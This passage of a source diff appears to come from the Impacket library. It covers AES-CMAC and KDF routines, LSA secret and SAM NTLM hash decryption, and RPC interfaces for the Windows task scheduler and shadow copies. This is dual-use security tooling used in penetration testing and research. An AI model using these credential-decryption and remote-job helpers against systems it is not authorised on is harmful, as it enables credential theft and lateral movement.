# + Step 1. L := AES-128(K, const_Zero); +
# + Step 2. if MSB(L) is equal to 0 +
# + then K1 := L << 1; +
# + else K1 := (L << 1) XOR const_Rb; +
# + Step 3. if MSB(K1) is equal to 0 +
# + then K2 := K1 << 1; +
# + else K2 := (K1 << 1) XOR const_Rb; +
# + Step 4. return K1, K2; +
# + +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
AES_128 = AES.new(K)
L = AES_128.encrypt('\x00'*16)
LHigh = unpack('>Q',L[:8])[0]
LLow = unpack('>Q',L[8:])[0]
K1High = ((LHigh << 1) | ( LLow >> 63 )) & 0xFFFFFFFFFFFFFFFF
K1Low = (LLow << 1) & 0xFFFFFFFFFFFFFFFF
if (LHigh >> 63):
K1Low ^= 0x87
K2High = ((K1High << 1) | (K1Low >> 63)) & 0xFFFFFFFFFFFFFFFF
K2Low = ((K1Low << 1)) & 0xFFFFFFFFFFFFFFFF
if (K1High >> 63):
K2Low ^= 0x87
K1 = pack('>QQ', K1High, K1Low)
K2 = pack('>QQ', K2High, K2Low)
return K1, K2
def XOR_128(N1,N2):
J = ''
for i in range(len(N1)):
J = J + chr(ord(N1[i]) ^ ord(N2[i]))
return J
def PAD(N):
const_Bsize = 16
padLen = 16-len(N)
return N + '\x80' + '\x00'*(padLen-1)
def AES_CMAC(K, M, length):
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + Algorithm AES-CMAC +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + +
# + Input : K ( 128-bit key ) +
# + : M ( message to be authenticated ) +
# + : len ( length of the message in octets ) +
# + Output : T ( message authentication code ) +
# + +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + Constants: const_Zero is 0x00000000000000000000000000000000 +
# + const_Bsize is 16 +
# + +
# + Variables: K1, K2 for 128-bit subkeys +
# + M_i is the i-th block (i=1..ceil(len/const_Bsize)) +
# + M_last is the last block xor-ed with K1 or K2 +
# + n for number of blocks to be processed +
# + r for number of octets of last block +
# + flag for denoting if last block is complete or not +
# + +
# + Step 1. (K1,K2) := Generate_Subkey(K); +
# + Step 2. n := ceil(len/const_Bsize); +
# + Step 3. if n = 0 +
# + then +
# + n := 1; +
# + flag := false; +
# + else +
# + if len mod const_Bsize is 0 +
# + then flag := true; +
# + else flag := false; +
# + +
# + Step 4. if flag is true +
# + then M_last := M_n XOR K1; +
# + else M_last := padding(M_n) XOR K2; +
# + Step 5. X := const_Zero; +
# + Step 6. for i := 1 to n-1 do +
# + begin +
# + Y := X XOR M_i; +
# + X := AES-128(K,Y); +
# + end +
# + Y := M_last XOR X; +
# + T := AES-128(K,Y); +
# + Step 7. return T; +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
const_Bsize = 16
const_Zero = '\x00'*16
AES_128= AES.new(K)
M = M[:length]
K1, K2 = Generate_Subkey(K)
n = len(M)/const_Bsize
if n == 0:
n = 1
flag = False
else:
if (length % const_Bsize) == 0:
flag = True
else:
n += 1
flag = False
M_n = M[(n-1)*const_Bsize:]
if flag is True:
M_last = XOR_128(M_n,K1)
else:
M_last = XOR_128(PAD(M_n),K2)
X = const_Zero
for i in range(n-1):
M_i = M[(i)*const_Bsize:][:16]
Y = XOR_128(X, M_i)
X = AES_128.encrypt(Y)
Y = XOR_128(M_last, X)
T = AES_128.encrypt(Y)
return T
def AES_CMAC_PRF_128(VK, M, VKlen, Mlen):
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + AES-CMAC-PRF-128 +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + +
# + Input : VK (Variable-length key) +
# + : M (Message, i.e., the input data of the PRF) +
# + : VKlen (length of VK in octets) +
# + : len (length of M in octets) +
# + Output : PRV (128-bit Pseudo-Random Variable) +
# + +
# +-------------------------------------------------------------------+
# + Variable: K (128-bit key for AES-CMAC) +
# + +
# + Step 1. If VKlen is equal to 16 +
# + Step 1a. then +
# + K := VK; +
# + Step 1b. else +
# + K := AES-CMAC(0^128, VK, VKlen); +
# + Step 2. PRV := AES-CMAC(K, M, len); +
# + return PRV; +
# + +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if VKlen == 16:
K = VK
else:
K = AES_CMAC('\x00'*16, VK, VKlen)
PRV = AES_CMAC(K, M, Mlen)
return PRV
def KDF_CounterMode(KI, Label, Context, L):
# Implements NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256
# http://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108
# Fixed values:
# 1. h - The length of the output of the PRF in bits, and
# 2. r - The length of the binary representation of the counter i.
# Input: KI, Label, Context, and L.
# Process:
# 1. n := [L/h]
# 2. If n > 2r-1, then indicate an error and stop.
# 3. result(0):= empty .
# 4. For i = 1 to n, do
# a. K(i) := PRF (KI, [i]2 || Label || 0x00 || Context || [L]2)
# b. result(i) := result(i-1) || K(i).
# 5. Return: KO := the leftmost L bits of result(n).
h = 256
r = 32
n = L / h
if n == 0:
n = 1
if n > (pow(2,r)-1):
raise "Error computing KDF_CounterMode"
result = ''
K = ''
for i in range(1,n+1):
input = pack('>L', i) + Label + '\x00' + Context + pack('>L',L)
K = hmac.new(KI, input, hashlib.sha256).digest()
result = result + K
return result[:(L/8)]
# [MS-LSAD] Section 5.1.2 / 5.1.3
class LSA_SECRET_XP(Structure):
structure = (
('Length','<L=0'),
('Version','<L=0'),
('_Secret','_-Secret', 'self["Length"]'),
('Secret', ':'),
)
def transformKey(InputKey):
# Section 5.1.3
OutputKey = []
OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
for i in range(8):
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
return "".join(OutputKey)
def decryptSecret(key, value):
# [MS-LSAD] Section 5.1.2
plainText = ''
key0 = key
for i in range(0, len(value), 8):
cipherText = value[:8]
tmpStrKey = key0[:7]
tmpKey = transformKey(tmpStrKey)
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
plainText += Crypt1.decrypt(cipherText)
cipherText = cipherText[8:]
key0 = key0[7:]
value = value[8:]
# AdvanceKey
if len(key0) < 7:
key0 = key[len(key0):]
secret = LSA_SECRET_XP(plainText)
return (secret['Secret'])
def encryptSecret(key, value):
# [MS-LSAD] Section 5.1.2
plainText = ''
cipherText = ''
key0 = key
value0 = pack('<LL', len(value), 1) + value
for i in range(0, len(value0), 8):
if len(value0) < 8:
value0 = value0 + '\x00'*(8-len(value0))
plainText = value0[:8]
tmpStrKey = key0[:7]
tmpKey = transformKey(tmpStrKey)
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
cipherText += Crypt1.encrypt(plainText)
plainText = plainText[8:]
key0 = key0[7:]
value0 = value0[8:]
# AdvanceKey
if len(key0) < 7:
key0 = key[len(key0):]
return cipherText
def SamDecryptNTLMHash(encryptedHash, key):
# [MS-SAMR] Section 2.2.11.1.1
Block1 = encryptedHash[:8]
Block2 = encryptedHash[8:]
Key1 = key[:7]
Key1 = transformKey(Key1)
Key2 = key[7:14]
Key2 = transformKey(Key2)
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
plain1 = Crypt1.decrypt(Block1)
plain2 = Crypt2.decrypt(Block2)
return plain1 + plain2
def SamEncryptNTLMHash(encryptedHash, key):
# [MS-SAMR] Section 2.2.11.1.1
Block1 = encryptedHash[:8]
Block2 = encryptedHash[8:]
Key1 = key[:7]
Key1 = transformKey(Key1)
Key2 = key[7:14]
Key2 = transformKey(Key2)
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
plain1 = Crypt1.encrypt(Block1)
plain2 = Crypt2.encrypt(Block2)
return plain1 + plain2
if __name__ == '__main__':
# Test Vectors
# --------------------------------------------------
# Subkey Generation
# K 2b7e1516 28aed2a6 abf71588 09cf4f3c
# AES-128(key,0) 7df76b0c 1ab899b3 3e42f047 b91b546f
# K1 fbeed618 35713366 7c85e08f 7236a8de
# K2 f7ddac30 6ae266cc f90bc11e e46d513b
# --------------------------------------------------
#
# --------------------------------------------------
# Example 1: len = 0
# M <empty string>
# AES-CMAC bb1d6929 e9593728 7fa37d12 9b756746
# --------------------------------------------------
#
# Example 2: len = 16
# M 6bc1bee2 2e409f96 e93d7e11 7393172a
# AES-CMAC 070a16b4 6b4d4144 f79bdd9d d04a287c
# --------------------------------------------------
#
# Example 3: len = 40
# M 6bc1bee2 2e409f96 e93d7e11 7393172a
# ae2d8a57 1e03ac9c 9eb76fac 45af8e51
# 30c81c46 a35ce411
# AES-CMAC dfa66747 de9ae630 30ca3261 1497c827
# --------------------------------------------------
#
# Example 4: len = 64
# M 6bc1bee2 2e409f96 e93d7e11 7393172a
# ae2d8a57 1e03ac9c 9eb76fac 45af8e51
# 30c81c46 a35ce411 e5fbc119 1a0a52ef
# f69f2445 df4f9b17 ad2b417b e66c3710
# AES-CMAC 51f0bebf 7e3b9d92 fc497417 79363cfe
# --------------------------------------------------
def pp(s):
for i in range((len(s)/8)):
print s[:8] ,
s = s[8:]
return ''
from binascii import hexlify, unhexlify
K = "2b7e151628aed2a6abf7158809cf4f3c"
M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710"
K1, K2 = Generate_Subkey(unhexlify(K))
print "Subkey Generation"
print "K ", pp(K)
print "K1 ", pp(hexlify(K1))
print "K2 ", pp(hexlify(K2))
print
print "Example 1: len = 0"
print "M <empty string>"
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),0)))
print
print "Example 2: len = 16"
print "M " , pp(M[:16*2])
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),16)))
print
print "Example 3: len = 40"
print "M " , pp(M[:40*2])
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),40)))
print
print "Example 3: len = 64"
print "M " , pp(M[:64*2])
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),64)))
print
M = "eeab9ac8fb19cb012849536168b5d6c7a5e6c5b2fcdc32bc29b0e3654078a5129f6be2562046766f93eebf146b"
K = "6c3473624099e17ff3a39ff6bdf6cc38"
# Mac = dbf63fd93c4296609e2d66bf79251cb5
print "Example 4: len = 45"
print "M " , pp(M[:45*2])
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),45)))
# ------------------------------------------------------------
#
# Test Case AES-CMAC-PRF-128 with 20-octet input
# Key : 00010203 04050607 08090a0b 0c0d0e0f edcb
# Key Length : 18
# Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213
# PRF Output : 84a348a4 a45d235b abfffc0d 2b4da09a
#
# Test Case AES-CMAC-PRF-128 with 20-octet input
# Key : 00010203 04050607 08090a0b 0c0d0e0f
# Key Length : 16
# Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213
# PRF Output : 980ae87b 5f4c9c52 14f5b6a8 455e4c2d
#
# Test Case AES-CMAC-PRF-128 with 20-octet input
# Key : 00010203 04050607 0809
# Key Length : 10
# Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213
# PRF Output : 290d9e11 2edb09ee 141fcf64 c0b72f3d
#
# ------------------------------------------------------------
K = "000102030405060708090a0b0c0d0e0fedcb"
M = "000102030405060708090a0b0c0d0e0f10111213"
print "AES-CMAC-PRF-128 Test Vectors"
print
print "Example 1: len = 0"
print "M " , pp(K)
print "Key Length 18 "
print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K),unhexlify(M),18,len(unhexlify(M)))))
print
print "Example 1: len = 0"
print "M " , pp(K)
print "Key Length 16 "
print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K)[:16],unhexlify(M),16,len(unhexlify(M)))))
print
print "Example 1: len = 0"
print "M " , pp(K)
print "Key Length 10 "
print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K)[:10],unhexlify(M),10,len(unhexlify(M)))))
print

View File

@@ -0,0 +1,211 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-TSCH] ATSVC Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, UCHAR, ULONG, LPDWORD, NULL
from impacket import hresult_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if hresult_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
ATSVC_HANDLE = LPWSTR
# 2.3.1 Constant Values
CNLEN = 15
DNLEN = CNLEN
UNLEN = 256
MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1)
# 2.3.7 Flags
TASK_FLAG_INTERACTIVE = 0x1
TASK_FLAG_DELETE_WHEN_DONE = 0x2
TASK_FLAG_DISABLED = 0x4
TASK_FLAG_START_ONLY_IF_IDLE = 0x10
TASK_FLAG_KILL_ON_IDLE_END = 0x20
TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40
TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80
TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100
TASK_FLAG_HIDDEN = 0x200
TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400
TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800
TASK_FLAG_SYSTEM_REQUIRED = 0x1000
TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000
################################################################################
# STRUCTURES
################################################################################
# 2.3.4 AT_INFO
class AT_INFO(NDRSTRUCT):
structure = (
('JobTime',DWORD),
('DaysOfMonth',DWORD),
('DaysOfWeek',UCHAR),
('Flags',UCHAR),
('Command',LPWSTR),
)
class LPAT_INFO(NDRPOINTER):
referent = (
('Data',AT_INFO),
)
# 2.3.6 AT_ENUM
class AT_ENUM(NDRSTRUCT):
structure = (
('JobId',DWORD),
('JobTime',DWORD),
('DaysOfMonth',DWORD),
('DaysOfWeek',UCHAR),
('Flags',UCHAR),
('Command',LPWSTR),
)
class AT_ENUM_ARRAY(NDRUniConformantArray):
item = AT_ENUM
class LPAT_ENUM_ARRAY(NDRPOINTER):
referent = (
('Data',AT_ENUM_ARRAY),
)
# 2.3.5 AT_ENUM_CONTAINER
class AT_ENUM_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead',DWORD),
('Buffer',LPAT_ENUM_ARRAY),
)
################################################################################
# RPC CALLS
################################################################################
# 3.2.5.2.1 NetrJobAdd (Opnum 0)
class NetrJobAdd(NDRCALL):
opnum = 0
structure = (
('ServerName',ATSVC_HANDLE),
('pAtInfo', AT_INFO),
)
class NetrJobAddResponse(NDRCALL):
structure = (
('pJobId',DWORD),
('ErrorCode',ULONG),
)
# 3.2.5.2.2 NetrJobDel (Opnum 1)
class NetrJobDel(NDRCALL):
opnum = 1
structure = (
('ServerName',ATSVC_HANDLE),
('MinJobId', DWORD),
('MaxJobId', DWORD),
)
class NetrJobDelResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.2.3 NetrJobEnum (Opnum 2)
class NetrJobEnum(NDRCALL):
opnum = 2
structure = (
('ServerName',ATSVC_HANDLE),
('pEnumContainer', AT_ENUM_CONTAINER),
('PreferedMaximumLength', DWORD),
('pResumeHandle', DWORD),
)
class NetrJobEnumResponse(NDRCALL):
structure = (
('pEnumContainer', AT_ENUM_CONTAINER),
('pTotalEntries', DWORD),
('pResumeHandle',LPDWORD),
('ErrorCode',ULONG),
)
# 3.2.5.2.4 NetrJobGetInfo (Opnum 3)
class NetrJobGetInfo(NDRCALL):
opnum = 3
structure = (
('ServerName',ATSVC_HANDLE),
('JobId', DWORD),
)
class NetrJobGetInfoResponse(NDRCALL):
structure = (
('ppAtInfo', LPAT_INFO),
('ErrorCode',ULONG),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (NetrJobAdd,NetrJobAddResponse ),
1 : (NetrJobDel,NetrJobDelResponse ),
2 : (NetrJobEnum,NetrJobEnumResponse ),
3 : (NetrJobGetInfo,NetrJobGetInfoResponse ),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hNetrJobAdd(dce, serverName = NULL, atInfo = NULL):
netrJobAdd = NetrJobAdd()
netrJobAdd['ServerName'] = serverName
netrJobAdd['pAtInfo'] = atInfo
return dce.request(netrJobAdd)
def hNetrJobDel(dce, serverName = NULL, minJobId = 0, maxJobId = 0):
netrJobDel = NetrJobDel()
netrJobDel['ServerName'] = serverName
netrJobDel['MinJobId'] = minJobId
netrJobDel['MaxJobId'] = maxJobId
return dce.request(netrJobDel)
def hNetrJobEnum(dce, serverName = NULL, pEnumContainer = NULL, preferedMaximumLength = 0xffffffff):
netrJobEnum = NetrJobEnum()
netrJobEnum['ServerName'] = serverName
netrJobEnum['pEnumContainer']['Buffer'] = pEnumContainer
netrJobEnum['PreferedMaximumLength'] = preferedMaximumLength
return dce.request(netrJobEnum)
def hNetrJobGetInfo(dce, serverName = NULL, jobId = 0):
netrJobGetInfo = NetrJobGetInfo()
netrJobGetInfo['ServerName'] = serverName
netrJobGetInfo['JobId'] = jobId
return dce.request(netrJobGetInfo)

View File

@@ -0,0 +1,339 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-SCMP]: Shadow Copy Management Protocol Interface implementation
# This was used as a way to test the DCOM runtime. Further
# testing is needed to verify it is working as expected
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Since DCOM is like an OO RPC, instead of helper functions you will see the
# classes described in the standards developed.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRENUM, NDRSTRUCT, NDRUNION
from impacket.dcerpc.v5.dcomrt import PMInterfacePointer, INTERFACE, DCOMCALL, DCOMANSWER, IRemUnknown2
from impacket.dcerpc.v5.dtypes import LONG, LONGLONG, ULONG, WSTR
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket import hresult_errors
from impacket.uuid import string_to_bin
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
if hresult_errors.ERROR_MESSAGES.has_key(self.error_code):
error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1]
return 'SCMP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'SCMP SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 1.9 Standards Assignments
CLSID_ShadowCopyProvider = string_to_bin('0b5a2c52-3eb9-470a-96e2-6c6d4570e40f')
IID_IVssSnapshotMgmt = string_to_bin('FA7DF749-66E7-4986-A27F-E2F04AE53772')
IID_IVssEnumObject = string_to_bin('AE1C7110-2F60-11d3-8A39-00C04F72D8E3')
IID_IVssDifferentialSoftwareSnapshotMgmt = string_to_bin('214A0F28-B737-4026-B847-4F9E37D79529')
IID_IVssEnumMgmtObject = string_to_bin('01954E6B-9254-4e6e-808C-C9E05D007696')
IID_ShadowCopyProvider = string_to_bin('B5946137-7B9F-4925-AF80-51ABD60B20D5')
# 2.2.1.1 VSS_ID
class VSS_ID(NDRSTRUCT):
structure = (
('Data','16s=""'),
)
def getAlignment(self):
return 2
#2.2.1.2 VSS_PWSZ
VSS_PWSZ = WSTR
# 2.2.1.3 VSS_TIMESTAMP
VSS_TIMESTAMP = LONGLONG
error_status_t = LONG
################################################################################
# STRUCTURES
################################################################################
# 2.2.2.1 VSS_OBJECT_TYPE Enumeration
class VSS_OBJECT_TYPE(NDRENUM):
class enumItems(Enum):
VSS_OBJECT_UNKNOWN = 0
VSS_OBJECT_NONE = 1
VSS_OBJECT_SNAPSHOT_SET = 2
VSS_OBJECT_SNAPSHOT = 3
VSS_OBJECT_PROVIDER = 4
VSS_OBJECT_TYPE_COUNT = 5
# 2.2.2.2 VSS_MGMT_OBJECT_TYPE Enumeration
class VSS_MGMT_OBJECT_TYPE(NDRENUM):
class enumItems(Enum):
VSS_MGMT_OBJECT_UNKNOWN = 0
VSS_MGMT_OBJECT_VOLUME = 1
VSS_MGMT_OBJECT_DIFF_VOLUME = 2
VSS_MGMT_OBJECT_DIFF_AREA = 3
# 2.2.2.3 VSS_VOLUME_SNAPSHOT_ATTRIBUTES Enumeration
class VSS_VOLUME_SNAPSHOT_ATTRIBUTES(NDRENUM):
class enumItems(Enum):
VSS_VOLSNAP_ATTR_PERSISTENT = 0x01
VSS_VOLSNAP_ATTR_NO_AUTORECOVERY = 0x02
VSS_VOLSNAP_ATTR_CLIENT_ACCESSIBLE = 0x04
VSS_VOLSNAP_ATTR_NO_AUTO_RELEASE = 0x08
VSS_VOLSNAP_ATTR_NO_WRITERS = 0x10
# 2.2.2.4 VSS_SNAPSHOT_STATE Enumeration
class VSS_SNAPSHOT_STATE(NDRENUM):
class enumItems(Enum):
VSS_SS_UNKNOWN = 0x01
VSS_SS_CREATED = 0x0c
# 2.2.2.5 VSS_PROVIDER_TYPE Enumeration
class VSS_PROVIDER_TYPE(NDRENUM):
class enumItems(Enum):
VSS_PROV_UNKNOWN = 0
# 2.2.3.7 VSS_VOLUME_PROP Structure
class VSS_VOLUME_PROP(NDRSTRUCT):
structure = (
('m_pwszVolumeName', VSS_PWSZ),
('m_pwszVolumeDisplayName', VSS_PWSZ),
)
# 2.2.3.5 VSS_MGMT_OBJECT_UNION Union
class VSS_MGMT_OBJECT_UNION(NDRUNION):
commonHdr = (
('tag', ULONG),
)
union = {
VSS_MGMT_OBJECT_TYPE.VSS_MGMT_OBJECT_VOLUME: ('Vol', VSS_VOLUME_PROP),
#VSS_MGMT_OBJECT_DIFF_VOLUME: ('DiffVol', VSS_DIFF_VOLUME_PROP),
#VSS_MGMT_OBJECT_DIFF_AREA: ('DiffArea', VSS_DIFF_AREA_PROP),
}
# 2.2.3.6 VSS_MGMT_OBJECT_PROP Structure
class VSS_MGMT_OBJECT_PROP(NDRSTRUCT):
structure = (
('Type', VSS_MGMT_OBJECT_TYPE),
('Obj', VSS_MGMT_OBJECT_UNION),
)
################################################################################
# RPC CALLS
################################################################################
# 3.1.3 IVssEnumMgmtObject Details
# 3.1.3.1 Next (Opnum 3)
class IVssEnumMgmtObject_Next(DCOMCALL):
opnum = 3
structure = (
('celt', ULONG),
)
class IVssEnumMgmtObject_NextResponse(DCOMANSWER):
structure = (
('rgelt', VSS_MGMT_OBJECT_PROP),
('pceltFetched', ULONG),
('ErrorCode', error_status_t),
)
# 3.1.2.1 Next (Opnum 3)
class IVssEnumObject_Next(DCOMCALL):
opnum = 3
structure = (
('celt', ULONG),
)
class IVssEnumObject_NextResponse(DCOMANSWER):
structure = (
('rgelt', VSS_MGMT_OBJECT_PROP),
('pceltFetched', ULONG),
('ErrorCode', error_status_t),
)
class GetProviderMgmtInterface(DCOMCALL):
opnum = 3
structure = (
('ProviderId', VSS_ID),
('InterfaceId', VSS_ID),
)
class GetProviderMgmtInterfaceResponse(DCOMANSWER):
structure = (
('ppItf', PMInterfacePointer),
('ErrorCode', error_status_t),
)
class QueryVolumesSupportedForSnapshots(DCOMCALL):
opnum = 4
structure = (
('ProviderId', VSS_ID),
('IContext', LONG),
)
class QueryVolumesSupportedForSnapshotsResponse(DCOMANSWER):
structure = (
('ppEnum', PMInterfacePointer),
('ErrorCode', error_status_t),
)
class QuerySnapshotsByVolume(DCOMCALL):
opnum = 5
structure = (
('pwszVolumeName', VSS_PWSZ),
('ProviderId', VSS_ID),
)
class QuerySnapshotsByVolumeResponse(DCOMANSWER):
structure = (
('ppEnum', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.4.4.5 QueryDiffAreasForVolume (Opnum 6)
class QueryDiffAreasForVolume(DCOMCALL):
opnum = 6
structure = (
('pwszVolumeName', VSS_PWSZ),
)
class QueryDiffAreasForVolumeResponse(DCOMANSWER):
structure = (
('ppEnum', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.4.4.6 QueryDiffAreasOnVolume (Opnum 7)
class QueryDiffAreasOnVolume(DCOMCALL):
opnum = 7
structure = (
('pwszVolumeName', VSS_PWSZ),
)
class QueryDiffAreasOnVolumeResponse(DCOMANSWER):
structure = (
('ppEnum', PMInterfacePointer),
('ErrorCode', error_status_t),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
}
################################################################################
# HELPER FUNCTIONS AND INTERFACES
################################################################################
class IVssEnumMgmtObject(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
self._iid = IID_IVssEnumMgmtObject
def Next(self, celt):
request = IVssEnumMgmtObject_Next()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['celt'] = celt
resp = self.request(request, self._iid, uuid = self.get_iPid())
return resp
class IVssEnumObject(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
self._iid = IID_IVssEnumObject
def Next(self, celt):
request = IVssEnumObject_Next()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['celt'] = celt
dce = self.connect()
resp = dce.request(request, self._iid, uuid = self.get_iPid())
return resp
class IVssSnapshotMgmt(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
self._iid = IID_IVssSnapshotMgmt
def GetProviderMgmtInterface(self, providerId = IID_ShadowCopyProvider, interfaceId = IID_IVssDifferentialSoftwareSnapshotMgmt):
req = GetProviderMgmtInterface()
classInstance = self.get_cinstance()
req['ORPCthis'] = classInstance.get_ORPCthis()
req['ORPCthis']['flags'] = 0
req['ProviderId'] = providerId
req['InterfaceId'] = interfaceId
resp = self.request(req, self._iid, uuid = self.get_iPid())
return IVssDifferentialSoftwareSnapshotMgmt(INTERFACE(classInstance, ''.join(resp['ppItf']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
def QueryVolumesSupportedForSnapshots(self, providerId, iContext):
req = QueryVolumesSupportedForSnapshots()
classInstance = self.get_cinstance()
req['ORPCthis'] = classInstance.get_ORPCthis()
req['ORPCthis']['flags'] = 0
req['ProviderId'] = providerId
req['IContext'] = iContext
resp = self.request(req, self._iid, uuid = self.get_iPid())
return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),target = self.get_target()))
def QuerySnapshotsByVolume(self, volumeName, providerId = IID_ShadowCopyProvider):
req = QuerySnapshotsByVolume()
classInstance = self.get_cinstance()
req['ORPCthis'] = classInstance.get_ORPCthis()
req['ORPCthis']['flags'] = 0
req['pwszVolumeName'] = volumeName
req['ProviderId'] = providerId
try:
resp = self.request(req, self._iid, uuid = self.get_iPid())
except DCERPCException, e:
print e
from impacket.winregistry import hexdump
data = e.get_packet()
hexdump(data)
kk = QuerySnapshotsByVolumeResponse(data)
kk.dump()
#resp.dump()
return IVssEnumObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
class IVssDifferentialSoftwareSnapshotMgmt(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
self._iid = IID_IVssDifferentialSoftwareSnapshotMgmt
def QueryDiffAreasOnVolume(self, pwszVolumeName):
req = QueryDiffAreasOnVolume()
classInstance = self.get_cinstance()
req['ORPCthis'] = classInstance.get_ORPCthis()
